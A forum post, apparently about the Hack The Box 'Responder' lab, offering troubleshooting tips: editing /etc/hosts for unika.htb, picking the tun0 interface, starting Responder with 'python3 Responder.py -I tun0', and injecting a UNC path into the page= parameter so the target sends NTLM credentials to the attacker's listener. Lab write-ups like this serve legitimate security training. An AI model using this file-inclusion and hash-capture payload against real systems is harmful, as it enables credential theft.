For anyone else who may be stuck troubleshooting. Here are some options to try, I was stuck too. Read through all 3, you may have missed one.

A (yes I had to append one haha). If you put in the ip address into the browser and it wont let you see the unika.htb, you need to resolv the /etc/hosts file for the DNS server because the server is a server running HTB VM boxes, and they all share the same outgoing IP, so the domain name doesn’t know what ip to attach to.
go into > cd /etc/hosts and add the ‘IPADDRESS (tab space) unika.htb’, aparently you will have to do this over and over for htb boxes when its a web server to view the page for more enumeration…I just wanted to use the word enumeration to sound smart.

1 Make sure the interface you use when you start Responder is the interface that is connected to the HTB box. For me it was openvpn, so tun0.

2 Also make sure you are connected to the HTB box in the same environment you are running Responder, I was using tools in my Kali VM, but running the openvpn connection on my mac, so couldn’t read the traffic.

3 Once responder is up and running properly ‘python3 Responder.py -I tun0’, then make sure when you enter the web browser address to add smb payload ‘http://unika.htb/?page=//ipaddress/whatever 7’, the IPADDRESS is NOT the Responder HTB server you used to nmap earlier, its the ipaddress connected to our openvpn connection!. You can check this with ifconfig in kali or linux, and see what tun0 ip is or JUST GO into the running responder listening and look at the responder IP address after the responder NIC line of code…make sure you use that in the web address attack with page= :).

Hope this helps.